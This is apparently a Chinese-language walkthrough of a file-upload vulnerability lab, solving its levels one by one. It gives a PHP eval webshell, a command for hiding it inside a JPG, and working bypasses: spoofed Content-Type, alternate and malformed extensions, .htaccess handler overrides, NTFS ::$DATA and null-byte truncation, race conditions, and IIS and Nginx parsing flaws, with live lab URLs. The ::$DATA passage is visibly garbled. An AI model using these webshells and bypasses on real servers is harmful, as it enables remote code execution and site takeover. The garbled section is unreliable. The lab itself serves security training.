文件上传靶场
准备工作
一个php一句话木马:oneword.php
<?php @eval($_REQUEST[6]);?>
一个图片马
copy cat.jpg/b + oneword.php new_cat.jpg
正常图片:cat.jpg
图片马:new_cat.jpg
第一关
前端验证绕过,形同虚设,通过抓包修改即可。
上传oneword.jpg,通过bp抓包修改为oneword.php
将filename修改为oneword.php,即可成功上传。
复制图片地址,打开菜刀。
成功连接。
第二关
Content-Type绕过。
Content-Type字段由客户端提供,同样抓包修改即可。
成功上传。
访问图片地址:
?6=phpinfo();
第三关
黑名单绕过。
黑名单过滤了’.asp’,’.aspx’,’.php’,’.jsp’后缀的文件。
黑名单绕过的方式可就太多了。
1️⃣.php3, .php4, .php5, .phtml可以上传
2️⃣.php. .php空格
这里我们上传一个.php5后缀的oneword
成功上传。
访问:http://59.63.200.79:8016/Pass-03/upload//oneword.php5?6=phpinfo();
第四关
.htaccess攻击是Apache服务器的分布式配置文件,该配置文件会覆盖Apache服务器的全局配置,作用域为当前目录及其子目录。
如果一个Web应用允许上传.htaccess文件,那么意味着攻击者可以更改Apache配置。
.htaccess文件:
将png文件做当php文件解析:
AddType application/x-httpd-php .png
文件名中包含php关键字时当作php脚本执行:info.php.png
AddHandler php5-script php
匹配文件名[xxx],然后执行其中的php代码
<FilesMatch “xxx”>
SetHandler application/x-httpd-php
</FilesMatch >
操作:先上传.htaccess文件,然后上传一个图片马。
上传该.htaccess文件
然后上传图片马new_cat.jpg
访问:http://59.63.200.79:8016/Pass-04/upload/new_cat.jpg?6=phpinfo();
第五关
不用多说,直接绕过。存在于非常古老的web容器,现在的web容器都不区分大小写。
上传oneword.PHP,成功。
访问:
第六关
文件后缀空绕过。
在文件名后面留一个空格,然后上传到服务器后空格会被自动的省略,但是看源码可知道,源码中黑名单中没有过滤空值,那么php和php ,当然是不一样的。
在Windows中在文件后缀中加空格是不行的,空格会被直接忽略掉。通过抓包在bp中加空格。
成功上传。
访问:http://59.63.200.79:8016/Pass-06/upload//oneword.php?6=phpinfo();
第七关
windows有一个特性,会自动去掉后缀名最后的.
同理,在windows中修改后缀名是不行的,通过抓包完成修改。
成功上传。
访问:http://59.63.200.79:8016/Pass-07/upload//oneword.php.?6=phpinfo();
第八关
在window中如果文件名+":: D A T A " 会 把 : : DATA"会把:: DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持:: D A T A 之 前 的 文 件 名 , : : DATA之前的文件名,:: DATA之前的文件名,::DATA就是默认不修改文件流的情况
例如:“phpinfo.php:: D A T A " W i n d o w s 会 自 动 去 掉 末 尾 的 : : DATA"Windows会自动去掉末尾的:: DATA"Windows会自动去掉末尾的::DATA变成"phpinfo.php”
上传成功:
访问:http://59.63.200.79:8016/Pass-08/upload//oneword.php?6=phpinfo();
第九关
黑名单的禁止策略:
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
删除文件名末尾的点,然后去除空,但是这些检测只进行了一次。
我们构造该后缀的文件:. .
点空点。经过过滤规则,还剩一个点,但是Windows服务器会忽略后缀名最后的点。
上传成功。
访问:http://59.63.200.79:8016/Pass-09/upload//oneword.php.?6=phpinfo();
第十关
上传oneword.pphphp
成功上传。
访问变成.php
666666666666666666
第十一关
%00截断。
00就是十六进制的NULL字符,URL中表示为%00。由于00代表结束符,所以会忽略00后面的字符。
当我们上传的文件需要被保存到服务器的时候,php函数在读取我们上传的文件名时由于读取到%00就会认为后面为空,读取结束。
我们这里选择上传oneworld.jpg,然后抓包。
这里有一个save_path参数,表示的是我们上传文件后的存储位置,当存储文件的函数读取到%00时就结束读取了,然后文件就被存储为oneword.php。
上传成功:
访问成功:59.63.200.79:8016/upload/oneworld.php�.jpg/1720210401225459.jpg?6=phpinfo();
第十二关
依然时%00截断。
此处上传oneword.jpg
不过提交方式由get变为了post。
在post包里我们依然可以找到上传文件的保存位置:/upload/oneword.php
post传参的时候00截断的位置需要利用hex编码方式来确定。在后面加个#方便找到oneword.php的位置。#的hex编码为23。
将23替换为00。
上传成功:
访问成功:http://59.63.200.79:8016/upload/oneword.php%EF%BF%BD/5220210401230441.jpg?6=phpinfo();
第十三关
上传图片马。图片马不能单独利用,需要结合其他漏洞一起使用。
上传new_cat.jpg成功上传。
第十四关
getimagesize绕过。
PHP函数**getimagesize()**可以获取图片的宽、高信息,如果上传的不是图片,那么该函数就获取不到信息,则不允许上传。
此处依然上传图片马即可。
第十五关
同上,上传图片马即可。
第十六关
二次渲染的意思是图片保存到服务器的时候,服务器会重新读取图片里的内容,然后再重新写入本地文件,若发现可疑语句则删除。
这关的目的是上传图片马,然后上传成功后下载,图片里面依然包含一句话内容。
关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了。
这个位置一般在头部。
使用hex模式编辑go.gif,将一句话内容添加到头部位置,然后保存。
上传成功:
将该图片下载下来,然后用hex模式打开,发现其中的一句话内容还在。
第十七关
一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含webshell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除之间存在一个短的时间差(执行文件检查和删除操作花费的时间),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。
抓两个包:一个上传的文件包,一个访问的文件包,然后疯狂重发包。
第十九关
move_upload_file()截断。
这也是一个00截断问题,跟之前的%00截断一样。当上传文件时,服务器需要将文件保存。使用move_uploaded_file()函数另存为,该函数的第二个参数即要保存的文件名及路径为一个字符串,当我们上传的文件名为1.jpg时,正常读取我们的文件名然后对文件名进行随机数处理进行保存。当我们上传的文件名为1.php%00,读取我们的文件名时读到%00就结束了,就直接另存为。所以我们上传成功了1.php文件。
过程:上传oneword.jpg,post方式上传的,在抓包里修改了.php#.jpg
然后把#的16进制改为00
访问:
第二十关
IIS解析漏洞。
①在IIS6.x下,分号后面的内容不被解析,举个栗子,xx.asp;.jpg将会当作xx.asp去解析执行.
②IIS6.0除了将ASP后缀当做ASP进行解析的同时,当文件后缀名字为.asa .cer .cdx 也会当做asp去解析,这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll
IIS5.x下存在目录解析漏洞。
③在网站下建立文件夹的名称中以.asp或.asa等作为后缀的文件夹,其目录内任何扩展名的文件都被IIS当作asp可执行文件去解析并执行.
举个栗子:/xx.asp/xx.jpg为xx.asp目录下存在xx.jpg文件,但将会被IIS解析成asp文件去执行,与原文件的后缀无关.
过程:上传图片马,抓包将其后缀改为asa,然后跟菜刀连接。
第二十一关
依然是IIS的解析漏洞,但是这次利用的是第一点,分号后面的内容不会被解析。
我们可以上传1.asp;.jpg
第二十二关
还是IIS解析漏洞,不过利用的是③点。
第二十三关
PHP CGI解析漏洞
Nginx拿到url“/test.jpg/test.php”后,一看后缀是.php,便认为该文件是php文件,就会交给PHP-CGI去处理。PHP-CGI一看,如果文件不存在,便删除/test.php,然后看/test.jpg是不是存在,如果存在就把它当成php文件执行。所以说我们只需要在正常的.jpg后面加/.php就可以成功的绕过解析。
先上传图片马:new_cat.jpg
]